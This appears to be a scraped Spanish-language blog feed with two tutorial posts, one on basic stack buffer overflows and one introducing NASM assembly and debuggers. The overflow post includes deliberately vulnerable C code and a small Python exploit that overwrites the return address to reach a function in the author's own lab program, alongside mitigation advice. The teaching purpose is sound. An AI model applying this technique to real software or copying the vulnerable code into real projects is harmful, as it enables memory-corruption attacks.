<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">payload</span> <span class="o">=</span> <span class="s">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">));</span>
<span class="n">printf</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Como vemos en la siguiente imagen, todos los datos después de los 10 bytes son descartados:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof_prueba2.png" alt="04" /></p>
<h2 id="encontrando-un-buffer-overflow">Encontrando un Buffer Overflow</h2>
<p>Existen múltiples funciones que son vulnerables a un buffer overflow, aunque, esto depende de cómo son implementadas.</p>
<p>Dentro de las funciones que se pueden mencionar, se encuentra:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">strcpy</code></li>
<li><code class="language-plaintext highlighter-rouge">strcat</code></li>
<li><code class="language-plaintext highlighter-rouge">gets</code>/<code class="language-plaintext highlighter-rouge">fgets</code></li>
<li><code class="language-plaintext highlighter-rouge">scanf</code>/<code class="language-plaintext highlighter-rouge">fscanf</code></li>
<li><code class="language-plaintext highlighter-rouge">vsprintf</code></li>
<li><code class="language-plaintext highlighter-rouge">printf</code></li>
<li><code class="language-plaintext highlighter-rouge">memcpy</code></li>
</ul>
<p>Cualquier función que realice alguna de las siguientes operaciones, es vulnerable:</p>
<ul>
<li>No validar apropiadamente los inputs antes de la operación</li>
<li>No se chequean los límites del input</li>
</ul>
<p>Un buffer overflow puede gatillarse por cualquiera de las siguientes operaciones de buffer:</p>
<ul>
<li>Input del usuario</li>
<li>Datos cargados desde un disco</li>
<li>Datos cargados desde la red</li>
</ul>
<p>Si llegamos a tener acceso al código fuente del programa, se pueden usar herramientas de análisis estático:</p>
<ul>
<li><a href="https://splint.org/">Splint</a></li>
<li><a href="https://sourceforge.net/projects/cppcheck/">CppCheck</a></li>
</ul>
<p>Otras técnicas que pueden encontrar un buffer overflow son:</p>
<ul>
<li>Generar un crasheo de la aplicación, y cuando este ocurre, encontrar la vulnerabilidad con un <code class="language-plaintext highlighter-rouge">debugger</code>.</li>
<li>Un análisis dinámico, usando herramientas como un <code class="language-plaintext highlighter-rouge">fuzzer</code> o un <code class="language-plaintext highlighter-rouge">tracer</code>, que rastrean la ejecución y el flujo de los datos.</li>
</ul>
<p>Usando las técnicas anteriores, se pueden encontrar múltiples vulnerabilidades, pero una gran parte de estos (50%) no son explotables del todo, pero pueden causar un <code class="language-plaintext highlighter-rouge">DoS</code> u otros efectos.</p>
<h3 id="fuzzing">Fuzzing</h3>
<p>Software que testea los input de un programa, enviando datos inválidos. Dentro de estos se encuentran:</p>
<ul>
<li>Línea de comandos</li>
<li>Datos de red</li>
<li>Bases de datos</li>
<li>Input de mouse/teclado</li>
<li>Parámetros</li>
<li>Input de archivos</li>
<li>Regiones de memoria compartida</li>
<li>Variables de entorno</li>
</ul>
<p>Dentro de los comportamientos que valida esta técnica, se encuentran:</p>
<ul>
<li>Memory hopping</li>
<li>CPU hopping</li>
<li>Crasheo</li>
</ul>
<blockquote>
<p>Esta técnica no siempre es efectiva, por lo tanto, no puede ser usada en el 100% de las pruebas.</p>
</blockquote>
<p>Dentro de las herramientas de fuzzing que se pueden comentar, están:</p>
<ul>
<li><a href="https://www.peach.tech/">Peach Fuzzing Platform</a></li>
<li><a href="https://github.com/OpenRCE/sulley">Sulley</a></li>
<li><a href="https://github.com/orgcandman/Simple-Fuzzer">Sfuzz</a></li>
<li><a href="https://packetstormsecurity.com/files/39626/FileFuzz.zip.html">File Fuzz</a></li>
</ul>
<h2 id="nuestro-primer-stack-buffer-overflow">Nuestro primer Stack Buffer Overflow</h2>
<p>Para nuestro primer stack buffer overflow, tenemos el siguiente código, donde debemos sobreescribir la dirección del EIP para poder llegar a la función <code class="language-plaintext highlighter-rouge">good_work</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <iostream>
#include <cstring>
</span>
<span class="kt">int</span> <span class="nf">bof_function</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">str</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">str</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">good_work</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"You are in good_work function</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Great, you did a Buffer Overflow!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">bof</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Hi, you are in bof_program </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">bof_function</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">bof</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">good_work</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Try again!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Como sabemos que la función <code class="language-plaintext highlighter-rouge">strcpy</code> es vulnerable, podemos explotarla para poder realizar un buffer overflow.</p>
<p>Si lo hacemos de forma manual, se deben ingresar caracteres en el input, hasta que se produzca un error:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof3.png" alt="05" /></p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof4.png" alt="06" /></p>
<p>Ahora sabemos que es posible crashear el programa.</p>
<p>Si revisamos el disassembler del programa, vemos las tres funciones del programa y sus respectivas direcciones de memoria:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof5.png" alt="07" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00401529 <__Z12bof_functionPc>:
401529: 55 push ebp
40152a: 89 e5 mov ebp,esp
40152c: 83 ec 28 sub esp,0x28
40152f: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
401532: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
401536: 8d 45 ee lea eax,[ebp-0x12]
401539: 89 04 24 mov DWORD PTR [esp],eax
40153c: e8 07 84 01 00 call 419948 <_strcpy>
401541: b8 00 00 00 00 mov eax,0x0
401546: c9 leave
401547: c3 ret
00401548 <__Z9good_workv>:
401548: 55 push ebp
401549: 89 e5 mov ebp,esp
40154b: 83 ec 18 sub esp,0x18
40154e: c7 04 24 00 80 48 00 mov DWORD PTR [esp],0x488000
401555: e8 a6 ff ff ff call 401500 <__ZL6printfPKcz>
40155a: c7 04 24 20 80 48 00 mov DWORD PTR [esp],0x488020
401561: e8 9a ff ff ff call 401500 <__ZL6printfPKcz>
401566: c9 leave
401567: c3 ret
00401568 <_main>:
401568: 55 push ebp
401569: 89 e5 mov ebp,esp
40156b: 83 e4 f0 and esp,0xfffffff0
40156e: 83 ec 20 sub esp,0x20
401571: e8 1a c0 00 00 call 40d590 <___main>
401576: c7 44 24 1c 00 00 00 mov DWORD PTR [esp+0x1c],0x0
40157d: 00
40157e: c7 04 24 44 80 48 00 mov DWORD PTR [esp],0x488044
401585: e8 76 ff ff ff call 401500 <__ZL6printfPKcz>
40158a: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
40158d: 83 c0 04 add eax,0x4
401590: 8b 00 mov eax,DWORD PTR [eax]
401592: 89 04 24 mov DWORD PTR [esp],eax
401595: e8 8f ff ff ff call 401529 <__Z12bof_functionPc>
40159a: 83 7c 24 1c 01 cmp DWORD PTR [esp+0x1c],0x1
40159f: 75 07 jne 4015a8 <_main+0x40>
4015a1: e8 a2 ff ff ff call 401548 <__Z9good_workv>
4015a6: eb 0c jmp 4015b4 <_main+0x4c>
4015a8: c7 04 24 61 80 48 00 mov DWORD PTR [esp],0x488061
4015af: e8 4c ff ff ff call 401500 <__ZL6printfPKcz>
4015b4: b8 00 00 00 00 mov eax,0x0
4015b9: c9 leave
4015ba: c3 ret
</code></pre></div></div>
<p>Ahora si cargamos el programa en un debugger, y le agregamos el argumento de caracteres de la prueba anterior, podemos observar lo siguiente:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof6.png" alt="08" /></p>
<p>Vemos que se carga el argumento ingresado, y que nos encontramos en la función <code class="language-plaintext highlighter-rouge">bof_function</code>. Si continuamos ejecutando el programa, vemos que al momento de cargar el argumento en el stack, este no sobreescribe el <code class="language-plaintext highlighter-rouge">Return Address</code> que nos servirá para ir a la función <code class="language-plaintext highlighter-rouge">good_work</code>:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof7.png" alt="09" /></p>
<p>Por lo tanto, si ahora agregamos 22 letras <code class="language-plaintext highlighter-rouge">A</code>, seguido de los caracteres <code class="language-plaintext highlighter-rouge">ABCD</code>, vemos que el valor del EIP es <code class="language-plaintext highlighter-rouge">ABCD</code> (en hexadecimal y little endian es <code class="language-plaintext highlighter-rouge">44434241</code>):</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof8-1.png" alt="10" /></p>
<p>Por lo tanto, si revisamos lo que hemos encontrado hasta ahora, sabemos lo siguiente:</p>
<ul>
<li>La dirección de la función <code class="language-plaintext highlighter-rouge">good_work</code> es <code class="language-plaintext highlighter-rouge">00401548</code> (encontrada en el disassembler)</li>
<li>Se tienen 18 junk bytes (18 <code class="language-plaintext highlighter-rouge">A</code>) usados para llegar al EBP</li>
<li>4 bytes (4 <code class="language-plaintext highlighter-rouge">A</code>) para sobreescribir el EBP</li>
<li>4 bytes (<code class="language-plaintext highlighter-rouge">ABCD</code>) para sobreescribir el EIP (Return Address)</li>
</ul>
<p>Si usamos el siguiente script en python, podemos ingresar a la función deseada:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">22</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x48\x15\x40</span><span class="s">"</span>
<span class="k">print</span> <span class="n">payload</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">"bof_program.exe "</span> <span class="o">+</span> <span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>Recordar que la memoria debe ir escrita en <strong><em>little endian</em></strong> (<code class="language-plaintext highlighter-rouge">48154000</code>), y que en ASM los bytes <code class="language-plaintext highlighter-rouge">\x00</code> corresponde a un <code class="language-plaintext highlighter-rouge">NULL</code> byte, el cual, si <code class="language-plaintext highlighter-rouge">strcpy</code> encuentra uno, dejará de copiar los datos.</p>
<p>Por lo tanto, si ejecutamos este script, vemos que muestra el contenido de <code class="language-plaintext highlighter-rouge">good_work</code>:</p>
<p><img src="/assets/img/stack-buffer-overflow-basico-parte-1/bof9.png" alt="11" /></p>W0lf_F4ngms@w0lff4ng.orgEste post es la continuación de Conceptos básicos de arquitectura de procesadores x86 y Conceptos básicos de Assembler y Debugger, los cuales, brindan los conceptos necesarios para realizar un stack buffer overflow básico. Buffer Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM. Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados a este el programa sobrescribirá los datos en la memoria adyacente al buffer. Buffer Overflow Cuando hablamos de un buffer overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar: Tipos de Buffer Overflow Stack overflow: es el ataque más común dentro de los buffer overflow. Como su nombre lo indica, este realiza un overflow en el stack. Heap overflow: este tipo de ataque tiene como objetivo los datos del grupo de memoria abierto conocido como heap. Interger overflow: una operación aritmética da como resultado un número entero que es demasiado grande para el tipo de entero destinado a almacenarlo; esto puede resultar en un buffer overflow. Unicode overflow: crea un buffer overflow al insertar caracteres Unicode en una entrada que espera caracteres ASCII. Stack Buffer Overflow A continuación, se muestra un código de ejemplo que produce un stack buffer overflow: #include <cstring> #include <iostream> int main() { char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char buffer[10]; strcpy(buffer, payload); printf(buffer); return 0; } En el código anterior, el arreglo de caracteres buffer es de 10 bytes de largo, usa la función strcpy, y la variable payload contiene 35 letras A. En este caso, como el buffer es de 10 bytes y se están pasando 35 A, el programa se crashea debido a que la función strcpy no valida el largo del argumento que se copia en el buffer (función vulnerable), produciendo un buffer overflow. Esto puede ser aprovechado para poder ejecutar otros programas. Si revisamos la siguiente imagen, podemos observar que fue lo que sucedió al momento de cargar los datos en el buffer: Ahora sabemos que la función strcpy es vulnerable a buffer overflow, para poder solucionar esto, es que debe ser reemplazada por la función strncpy: #include <cstring> #include <iostream> int main() { char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char buffer[10]; strncpy(buffer, payload, sizeof(buffer)); printf(buffer); return 0; } Como vemos en la siguiente imagen, todos los datos después de los 10 bytes son descartados: Encontrando un Buffer Overflow Existen múltiples funciones que son vulnerables a un buffer overflow, aunque, esto depende de cómo son implementadas. Dentro de las funciones que se pueden mencionar, se encuentra: strcpy strcat gets/fgets scanf/fscanf vsprintf printf memcpy Cualquier función que realice alguna de las siguientes operaciones, es vulnerable: No validar apropiadamente los inputs antes de la operación No se chequean los límites del input Un buffer overflow puede gatillarse por cualquiera de las siguientes operaciones de buffer: Input del usuario Datos cargados desde un disco Datos cargados desde la red Si llegamos a tener acceso al código fuente del programa, se pueden usar herramientas de análisis estático: Splint CppCheck Otras técnicas que pueden encontrar un buffer overflow son: Generar un crasheo de la aplicación, y cuando este ocurre, encontrar la vulnerabilidad con un debugger. Un análisis dinámico, usando herramientas como un fuzzer o un tracer, que rastrean la ejecución y el flujo de los datos. Usando las técnicas anteriores, se pueden encontrar múltiples vulnerabilidades, pero una gran parte de estos (50%) no son explotables del todo, pero pueden causar un DoS u otros efectos. Fuzzing Software que testea los input de un programa, enviando datos inválidos. Dentro de estos se encuentran: Línea de comandos Datos de red Bases de datos Input de mouse/teclado Parámetros Input de archivos Regiones de memoria compartida Variables de entorno Dentro de los comportamientos que valida esta técnica, se encuentran: Memory hopping CPU hopping Crasheo Esta técnica no siempre es efectiva, por lo tanto, no puede ser usada en el 100% de las pruebas. Dentro de las herramientas de fuzzing que se pueden comentar, están: Peach Fuzzing Platform Sulley Sfuzz File Fuzz Nuestro primer Stack Buffer Overflow Para nuestro primer stack buffer overflow, tenemos el siguiente código, donde debemos sobreescribir la dirección del EIP para poder llegar a la función good_work: #include <iostream> #include <cstring> int bof_function(char *str) { char buffer[10]; strcpy(buffer, str); return 0; } int good_work() { printf("You are in good_work function\n"); printf("Great, you did a Buffer Overflow!!\n"); } int main(int argc, char *argv[]) { int bof = 0; printf("Hi, you are in bof_program \n"); bof_function(argv[1]); if (bof == 1) { good_work(); } else { printf("Try again!!!\n"); } return 0; } Como sabemos que la función strcpy es vulnerable, podemos explotarla para poder realizar un buffer overflow. Si lo hacemos de forma manual, se deben ingresar caracteres en el input, hasta que se produzca un error: Ahora sabemos que es posible crashear el programa. Si revisamos el disassembler del programa, vemos las tres funciones del programa y sus respectivas direcciones de memoria: 00401529 <__Z12bof_functionPc>: 401529: 55 push ebp 40152a: 89 e5 mov ebp,esp 40152c: 83 ec 28 sub esp,0x28 40152f: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 401532: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 401536: 8d 45 ee lea eax,[ebp-0x12] 401539: 89 04 24 mov DWORD PTR [esp],eax 40153c: e8 07 84 01 00 call 419948 <_strcpy> 401541: b8 00 00 00 00 mov eax,0x0 401546: c9 leave 401547: c3 ret 00401548 <__Z9good_workv>: 401548: 55 push ebp 401549: 89 e5 mov ebp,esp 40154b: 83 ec 18 sub esp,0x18 40154e: c7 04 24 00 80 48 00 mov DWORD PTR [esp],0x488000 401555: e8 a6 ff ff ff call 401500 <__ZL6printfPKcz> 40155a: c7 04 24 20 80 48 00 mov DWORD PTR [esp],0x488020 401561: e8 9a ff ff ff call 401500 <__ZL6printfPKcz> 401566: c9 leave 401567: c3 ret 00401568 <_main>: 401568: 55 push ebp 401569: 89 e5 mov ebp,esp 40156b: 83 e4 f0 and esp,0xfffffff0 40156e: 83 ec 20 sub esp,0x20 401571: e8 1a c0 00 00 call 40d590 <___main> 401576: c7 44 24 1c 00 00 00 mov DWORD PTR [esp+0x1c],0x0 40157d: 00 40157e: c7 04 24 44 80 48 00 mov DWORD PTR [esp],0x488044 401585: e8 76 ff ff ff call 401500 <__ZL6printfPKcz> 40158a: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 40158d: 83 c0 04 add eax,0x4 401590: 8b 00 mov eax,DWORD PTR [eax] 401592: 89 04 24 mov DWORD PTR [esp],eax 401595: e8 8f ff ff ff call 401529 <__Z12bof_functionPc> 40159a: 83 7c 24 1c 01 cmp DWORD PTR [esp+0x1c],0x1 40159f: 75 07 jne 4015a8 <_main+0x40> 4015a1: e8 a2 ff ff ff call 401548 <__Z9good_workv> 4015a6: eb 0c jmp 4015b4 <_main+0x4c> 4015a8: c7 04 24 61 80 48 00 mov DWORD PTR [esp],0x488061 4015af: e8 4c ff ff ff call 401500 <__ZL6printfPKcz> 4015b4: b8 00 00 00 00 mov eax,0x0 4015b9: c9 leave 4015ba: c3 ret Ahora si cargamos el programa en un debugger, y le agregamos el argumento de caracteres de la prueba anterior, podemos observar lo siguiente: Vemos que se carga el argumento ingresado, y que nos encontramos en la función bof_function. Si continuamos ejecutando el programa, vemos que al momento de cargar el argumento en el stack, este no sobreescribe el Return Address que nos servirá para ir a la función good_work: Por lo tanto, si ahora agregamos 22 letras A, seguido de los caracteres ABCD, vemos que el valor del EIP es ABCD (en hexadecimal y little endian es 44434241): Por lo tanto, si revisamos lo que hemos encontrado hasta ahora, sabemos lo siguiente: La dirección de la función good_work es 00401548 (encontrada en el disassembler) Se tienen 18 junk bytes (18 A) usados para llegar al EBP 4 bytes (4 A) para sobreescribir el EBP 4 bytes (ABCD) para sobreescribir el EIP (Return Address) Si usamos el siguiente script en python, podemos ingresar a la función deseada: import os payload = "A"*22 payload += "\x48\x15\x40" print payload os.system("bof_program.exe " + payload) Recordar que la memoria debe ir escrita en little endian (48154000), y que en ASM los bytes \x00 corresponde a un NULL byte, el cual, si strcpy encuentra uno, dejará de copiar los datos. Por lo tanto, si ejecutamos este script, vemos que muestra el contenido de good_work:Conceptos básicos de Assembler y Debugger2020-07-11T11:58:47-04:002020-07-11T11:58:47-04:00http://www.w0lff4ng.org/conceptos-basicos-de-assembler-y-debugger<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/arq.jpeg" alt="arq" /></p>
<p>En este post se presentan los conceptos básicos del lenguaje de programación Assembly, y la utilización de un Debugger (y otras herramientas) para analizar el funcionamiento de los programas sobre el stack.</p>
<p>También, es la continuación del post <a href="https://www.w0lff4ng.org/arquitectura-de-microprocesadores/">Conceptos básicos de arquitectura de procesadores x86</a>.</p>
<h2 id="assembly">Assembly</h2>
<p>Assembly es un lenguaje de programación de muy bajo nivel, el cual, consiste en un código mnemotécnico, también conocido como <code class="language-plaintext highlighter-rouge">opcode</code> (operation code).</p>
<p>Al igual que muchos lenguajes de programación, este debe ser convertido en código de máquina para ser ejecutado.</p>
<p>Para poder lograr esto se usa assembler.</p>
<h2 id="assembler">Assembler</h2>
<p>Este es un programa que traduce el lenguaje Assembly a código máquina.</p>
<p>Existen varios tipos de assembler y este dependerá del <code class="language-plaintext highlighter-rouge">ISA</code> del sistema, como por ejemplo:</p>
<ul>
<li><strong>MASM (Microsoft Macro Assembler):</strong> usado en arquitectura x86, el que utiliza sintaxis Intel para MS-DOS y Microsoft Windows.</li>
<li><strong>GAS (GNU Assembler):</strong> usado en el proyecto GNU, y es el back-end por defecto de <code class="language-plaintext highlighter-rouge">GCC</code>.</li>
<li><strong>NASM (Netwide Assembler):</strong> usado en arquitectura x86 para escribir programas de 16, 32 (IA-32) y 64 bits (x86-64).</li>
<li><strong>FASM (Flat Assembler):</strong> usado en arquitectura x86, y soporta el lenguaje assembly en estilo Intel en IA-32 y x86-64.</li>
</ul>
<blockquote>
<p>NOTA: dentro de los más populares se encuentra NASM y MASM. En este post se mostrará el uso básico de NASM.</p>
</blockquote>
<p>Cuando el archivo de código es ensamblado, el archivo que se crea es llamado <code class="language-plaintext highlighter-rouge">archivo objeto</code> (object file). Este es la representación binaria de un programa.</p>
<p>Ahora que tenemos el archivo object, se debe utilizar un <code class="language-plaintext highlighter-rouge">linker</code> para poder generar un archivo ejecutable. Para lograr esto, el linker utiliza uno o más archivos object (como <code class="language-plaintext highlighter-rouge">kernel32.dll</code> o <code class="language-plaintext highlighter-rouge">user32.dll</code>) para combinarlos y crear el ejecutable.</p>
<blockquote>
<p>NOTA: los archivos kerne32.dll y user32.dll son requeridos en Windows para crear un ejecutable que necesita acceder a ciertas librerías.</p>
</blockquote>
<p>El proceso para crear el archivo ejecutable es el siguiente:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/assembler.png" alt="01" /></p>
<h2 id="nasm">NASM</h2>
<h3 id="instalación">Instalación</h3>
<p>Para este caso, se instalará <a href="https://forum.nasm.us/index.php?topic=1853.0"><code class="language-plaintext highlighter-rouge">NASM-X</code></a> en Windows.</p>
<p>El proyecto NASM-X es una colección de macros, includes y ejemplos que ayudan a desarrollar en NASM software de 32 y 64-bits para BSD, Linux, Windows y XBOX en una fracción inferior al tiempo normal.</p>
<p>Al momento de descargar NASM-X, extraemos el contenido y lo guardamos en el directorio <code class="language-plaintext highlighter-rouge">C:\nasmx</code> (para este ejemplo y los próximos, trabajaré con un Windows XP, pero puede ser replicado en versiones más actuales):</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/nasmx-folder.png" alt="02" /></p>
<p>Luego, agregamos la ruta de los binarios de NASM-X a las <a href="https://www.computerhope.com/issues/ch000549.htm">variables de entorno</a>:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/environment-variables-1.png" alt="03" /></p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/environment-variables-2.png" alt="04" /></p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/environment-variables-3.png" alt="05" /></p>
<p>Después de configurar las variables de entorno, validamos que quedó bien instalado. Para esto, abrimos un nuevo terminal, vamos a la carpeta de NASM-X, y corremos el archivo <code class="language-plaintext highlighter-rouge">setpaths.bat</code>, el cual, nos mostrará el mensaje <code class="language-plaintext highlighter-rouge">"NASMX Development Toolkit"</code> en caso de que lo anterior se encuentre bien configurado:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/nasmx-validation.png" alt="06" /></p>
<p>Ahora, para poder trabajar con las demos que este trae, debemos editar un componente del archivo <code class="language-plaintext highlighter-rouge">windemos.inc</code> que se encuentra en <code class="language-plaintext highlighter-rouge">C:\nasmx\demos</code>. En este debemos comentar la linea <code class="language-plaintext highlighter-rouge">%include 'nasmx.inc'</code> usando el símbolo <code class="language-plaintext highlighter-rouge">;</code>, y agregar la linea <code class="language-plaintext highlighter-rouge">%include 'C:\nasmx\inc\nasmx.inc'</code>:</p>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/windemos.inc-file.png" alt="07" /></p>
<p>Si queremos comprobar que todo se encuentra bien configurado, se puede ensamblar el siguiente demo:</p>
<ol>
<li>Ir a <code class="language-plaintext highlighter-rouge">C:\nasmx\demos\win32\DEMO1</code></li>
<li>Ensamblamos el archivo <code class="language-plaintext highlighter-rouge">demo1.asm</code>, el cual, abre una ventana con un mensaje. Para lograr esto, usamos el comando <code class="language-plaintext highlighter-rouge">nasm -f win32 demo1.asm -o demo1.obj</code> para obtener el archivo object:
<ul>
<li><code class="language-plaintext highlighter-rouge">-f</code> especifica el formato del archivo, donde, en Windows puede ser obj, win32 y win64. En Unix se usan los siguientes formatos: aout, as86, coff, elf32, elf64, elfx32, ieee, macho32 y macho64</li>
<li>Esto es seguido del nombre del archivo</li>
<li><code class="language-plaintext highlighter-rouge">-o</code> indica el nombre del archivo de salida</li>
</ul>
</li>
</ol>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/nasmx-demo1.png" alt="08" /></p>
<ol>
<li>Ahora que tenemos el archivo object, debemos utilizar el linker para poder generar el archivo ejecutable. El comando para esto es <code class="language-plaintext highlighter-rouge">GoLink.exe /entry _main demo1.obj kernel32.dll user32.dll</code>
<ul>
<li><code class="language-plaintext highlighter-rouge">/entry _main</code> especifica que el programa iniciará en la etiqueta de código <code class="language-plaintext highlighter-rouge">main:</code></li>
<li><code class="language-plaintext highlighter-rouge">kernel32.dll</code> permite realizar una salida del proceso (<code class="language-plaintext highlighter-rouge">ExitProcess</code>)</li>
<li><code class="language-plaintext highlighter-rouge">user32.dll</code> permite mostrar una ventana emergente con un mensaje (<code class="language-plaintext highlighter-rouge">MessageBox</code>)</li>
</ul>
</li>
</ol>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/nasmx-demo1-2.png" alt="09" /></p>
<ol>
<li>Si ejecutamos <code class="language-plaintext highlighter-rouge">demo1.exe</code> veremos que aparace una ventana con el mensaje <code class="language-plaintext highlighter-rouge">Hello from the Procedure!</code>:</li>
</ol>
<p><img src="/assets/img/conceptos-basicos-de-assembler-y-debugger/nasmx-demo1-3.png" alt="10" /></p>
<h2 id="asm-básico">ASM Básico</h2>
<p>En esta sección no se enseñará a escribir programas en assembly, sólo se mostrarán instrucciones básicas para poder entender el funcionamiento de los programas al momento de verlos en un Debugger.</p>
<p>Dentro de las <a href="https://es.wikipedia.org/wiki/Anexo:Instrucciones_x86">instrucciones</a> que hablaremos se encuentran las siguientes, las que se dividen en clases:</p>
<ul>
<li>Transferencia de datos:
<ul>
<li><code class="language-plaintext highlighter-rouge">MOV</code> mueve (copia) los datos de una sección de memoria a otra</li>
<li><code class="language-plaintext highlighter-rouge">MOVSX</code> mueve con extensión de signo</li>
<li><code class="language-plaintext highlighter-rouge">MOVZX</code> mueve con extensión de cero</li>
<li><code class="language-plaintext highlighter-rouge">XCHG</code> intercambia datos</li>
<li><code class="language-plaintext highlighter-rouge">PUSH</code> agregar datos al stack</li>
<li><code class="language-plaintext highlighter-rouge">PUSHAD</code> agrega todos los registros de 32 bits en el stack</li>
<li><code class="language-plaintext highlighter-rouge">POP</code> sacar datos al stack</li>
<li><code class="language-plaintext highlighter-rouge">POPAD</code> saca todos los registros de 32 bits en el stack</li>
</ul>
</li>
<li>Aritméticos:
<ul>
<li><code class="language-plaintext highlighter-rouge">ADD</code> permite realizar sumas</li>
<li><code class="language-plaintext highlighter-rouge">SUB</code> corresponde a la resta</li>
<li><code class="language-plaintext highlighter-rouge">MUL</code> realiza multiplicación sin signo</li>
<li><code class="language-plaintext highlighter-rouge">XOR</code> operador lógico XOR</li>
<li><code class="language-plaintext highlighter-rouge">NOT</code> operador lógico NOT</li>
<li><code class="language-plaintext highlighter-rouge">DEC</code> resta 1</li>
<li><code class="language-plaintext highlighter-rouge">INC</code> incrementa 1</li>
</ul>
</li>
<li>Control del flujo:
<ul>
<li><code class="language-plaintext highlighter-rouge">CALL</code> llamada a un procedimiento</li>
<li><code class="language-plaintext highlighter-rouge">RET</code> retorno desde un procedimiento</li>
<li><code class="language-plaintext highlighter-rouge">LOOP</code> control de loops</li>
<li><a href="https://en.wikipedia.org/wiki/Branch_(computer_science)"><code class="language-plaintext highlighter-rouge">Jcc</code></a> realiza un salto en caso de una condición</li>
</ul>
</li>
<li>Otros:
<ul>
<li><code class="language-plaintext highlighter-rouge">STI</code> configura un flag de interrupción</li>
<li><code class="language-plaintext highlighter-rouge">CLI</code> elimina el flag de interrupción</li>
<li><code class="language-plaintext highlighter-rouge">IN</code> entrada desde un puerto</li>
<li><code class="language-plaintext highlighter-rouge">OUT</code> salida desde un puerto</li>
</ul>
</li>
</ul>
<p>Ejemplo de la suma de dos números:</p>
<pre><code class="language-assembly">MOV EAX,2 ; almacena 2 en EAX
MOV EBX,5 ; almacena 5 en EBX
ADD EAX,EBX ; equivale a la siguiente operación: EAX = EAX + EBX
</code></pre>
